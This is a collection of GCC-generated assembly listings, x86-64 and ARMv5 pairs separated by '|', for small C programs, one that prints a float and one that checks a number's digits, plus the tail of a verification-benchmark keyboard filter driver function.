ldr r2, .L267+4
ldr r3, [fp, #-96]
str r3, [r2]
mov r1, #0
ldr r0, [fp, #-108]
bl IofCompleteRequest
ldr r3, [fp, #-96]
b .L254
.L253:
ldr r1, [fp, #-108]
ldr r0, [fp, #-104]
bl KbFilter_DispatchPassThrough
str r0, [fp, #-12]
ldr r3, [fp, #-12]
.L254:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L268:
.align 2
.L267:
.word -1073741757
.word myStatus
.size KbFilter_InternIoCtl, .-KbFilter_InternIoCtl
.align 2
.global errorFn
.syntax unified
.arm
.fpu softvfp
.type errorFn, %function
errorFn:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
.L270:
bl __VERIFIER_error
.size errorFn, .-errorFn
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "870307.c"
.intel_syntax noprefix
.text
.section .rodata
.LC1:
.string "%f"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -4[rbp], xmm0
pxor xmm1, xmm1
cvtss2sd xmm1, DWORD PTR -4[rbp]
movq rax, xmm1
movq xmm0, rax
lea rdi, .LC1[rip]
mov eax, 1
call printf@PLT
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 4
.LC0:
.long 1075838976
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "870307.c"
.text
.global __aeabi_f2d
.section .rodata
.align 2
.LC0:
.ascii "%f\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
ldr r3, .L3
str r3, [fp, #-8] @ float
ldr r0, [fp, #-8] @ float
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L3+4
bl printf
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L4:
.align 2
.L3:
.word 1075838976
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "232338.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%d"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -36[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR -16[rbp], 0
mov DWORD PTR -32[rbp], 0
jmp .L2
.L7:
mov edx, DWORD PTR -36[rbp]
movsx rax, edx
imul rax, rax, 1717986919
shr rax, 32
sar eax, 2
mov ecx, edx
sar ecx, 31
sub eax, ecx
mov DWORD PTR -12[rbp], eax
mov ecx, DWORD PTR -12[rbp]
mov eax, ecx
sal eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov DWORD PTR -12[rbp], edx
mov eax, DWORD PTR -36[rbp]
mov DWORD PTR -28[rbp], eax
mov DWORD PTR -20[rbp], 1
jmp .L3
.L4:
mov edx, DWORD PTR -28[rbp]
movsx rax, edx
imul rax, rax, 1717986919
shr rax, 32
sar eax, 2
mov esi, edx
sar esi, 31
sub eax, esi
mov ecx, eax
mov eax, ecx
sal eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov DWORD PTR -24[rbp], edx
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
imul rdx, rdx, 1717986919
shr rdx, 32
sar edx, 2
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -28[rbp], eax
mov edx, DWORD PTR -20[rbp]
mov eax, edx
sal eax, 2
add eax, edx
add eax, eax
mov DWORD PTR -20[rbp], eax
.L3:
cmp DWORD PTR -28[rbp], 0
jg .L4
mov eax, DWORD PTR -20[rbp]
imul eax, DWORD PTR -24[rbp]
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -24[rbp]
je .L5
mov DWORD PTR -32[rbp], 1
jmp .L6
.L5:
mov eax, DWORD PTR -20[rbp]
movsx rdx, eax
imul rdx, rdx, 1717986919
shr rdx, 32
sar edx, 2
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -36[rbp]
sub eax, DWORD PTR -20[rbp]
mov DWORD PTR -36[rbp], eax
mov eax, DWORD PTR -36[rbp]
movsx rdx, eax
imul rdx, rdx, 1717986919
shr rdx, 32
sar edx, 2
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -36[rbp], eax
.L2:
mov eax, DWORD PTR -36[rbp]
test eax, eax
jg .L7
.L6:
cmp DWORD PTR -32[rbp], 0
jne .L8
mov edi, 89
call putchar@PLT
jmp .L9
.L8:
mov edi, 78
call putchar@PLT
.L9:
mov eax, 0
mov rdi, QWORD PTR -8[rbp]
sub rdi, QWORD PTR fs:40
je .L11
call __stack_chk_fail@PLT
.L11:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "232338.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%d\000"
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
ldr r3, .L12
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #36
mov r1, r3
ldr r0, .L12+4
bl __isoc99_scanf
mov r3, #0
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-32]
b .L2
.L7:
ldr r2, [fp, #-36]
ldr r3, .L12+8
smull r1, r3, r2, r3
asr r1, r3, #2
asr r3, r2, #31
sub r1, r1, r3
mov r3, r1
lsl r3, r3, #2
add r3, r3, r1
lsl r3, r3, #1
sub r3, r2, r3
str r3, [fp, #-12]
ldr r3, [fp, #-36]
str r3, [fp, #-28]
mov r3, #1
str r3, [fp, #-20]
b .L3
.L4:
ldr r2, [fp, #-28]
ldr r3, .L12+8
smull r1, r3, r2, r3
asr r1, r3, #2
asr r3, r2, #31
sub r1, r1, r3
mov r3, r1
lsl r3, r3, #2
add r3, r3, r1
lsl r3, r3, #1
sub r3, r2, r3
str r3, [fp, #-24]
ldr r3, [fp, #-28]
ldr r2, .L12+8
smull r1, r2, r3, r2
asr r2, r2, #2
asr r3, r3, #31
sub r3, r2, r3
str r3, [fp, #-28]
ldr r2, [fp, #-20]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #1
str r3, [fp, #-20]
.L3:
ldr r3, [fp, #-28]
cmp r3, #0
bgt .L4
ldr r3, [fp, #-20]
ldr r2, [fp, #-24]
mul r3, r2, r3
str r3, [fp, #-20]
ldr r2, [fp, #-12]
ldr r3, [fp, #-24]
cmp r2, r3
beq .L5
mov r3, #1
str r3, [fp, #-32]
b .L6
.L5:
ldr r3, [fp, #-20]
ldr r2, .L12+8
smull r1, r2, r3, r2
asr r2, r2, #2
asr r3, r3, #31
sub r3, r2, r3
str r3, [fp, #-20]
ldr r2, [fp, #-36]
ldr r3, [fp, #-20]
sub r3, r2, r3
str r3, [fp, #-36]
ldr r3, [fp, #-36]
ldr r2, .L12+8
smull r1, r2, r3, r2
asr r2, r2, #2
asr r3, r3, #31
sub r3, r2, r3
str r3, [fp, #-36]
.L2:
ldr r3, [fp, #-36]
cmp r3, #0
bgt .L7
.L6:
ldr r3, [fp, #-32]
cmp r3, #0
bne .L8
mov r0, #89
bl putchar
b .L9
.L8:
mov r0, #78
bl putchar
.L9:
mov r3, #0
ldr r2, .L12
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L11
bl __stack_chk_fail
.L11:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L13:
.align 2
.L12:
.word .LC1
.word .LC0
.word 1717986919
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|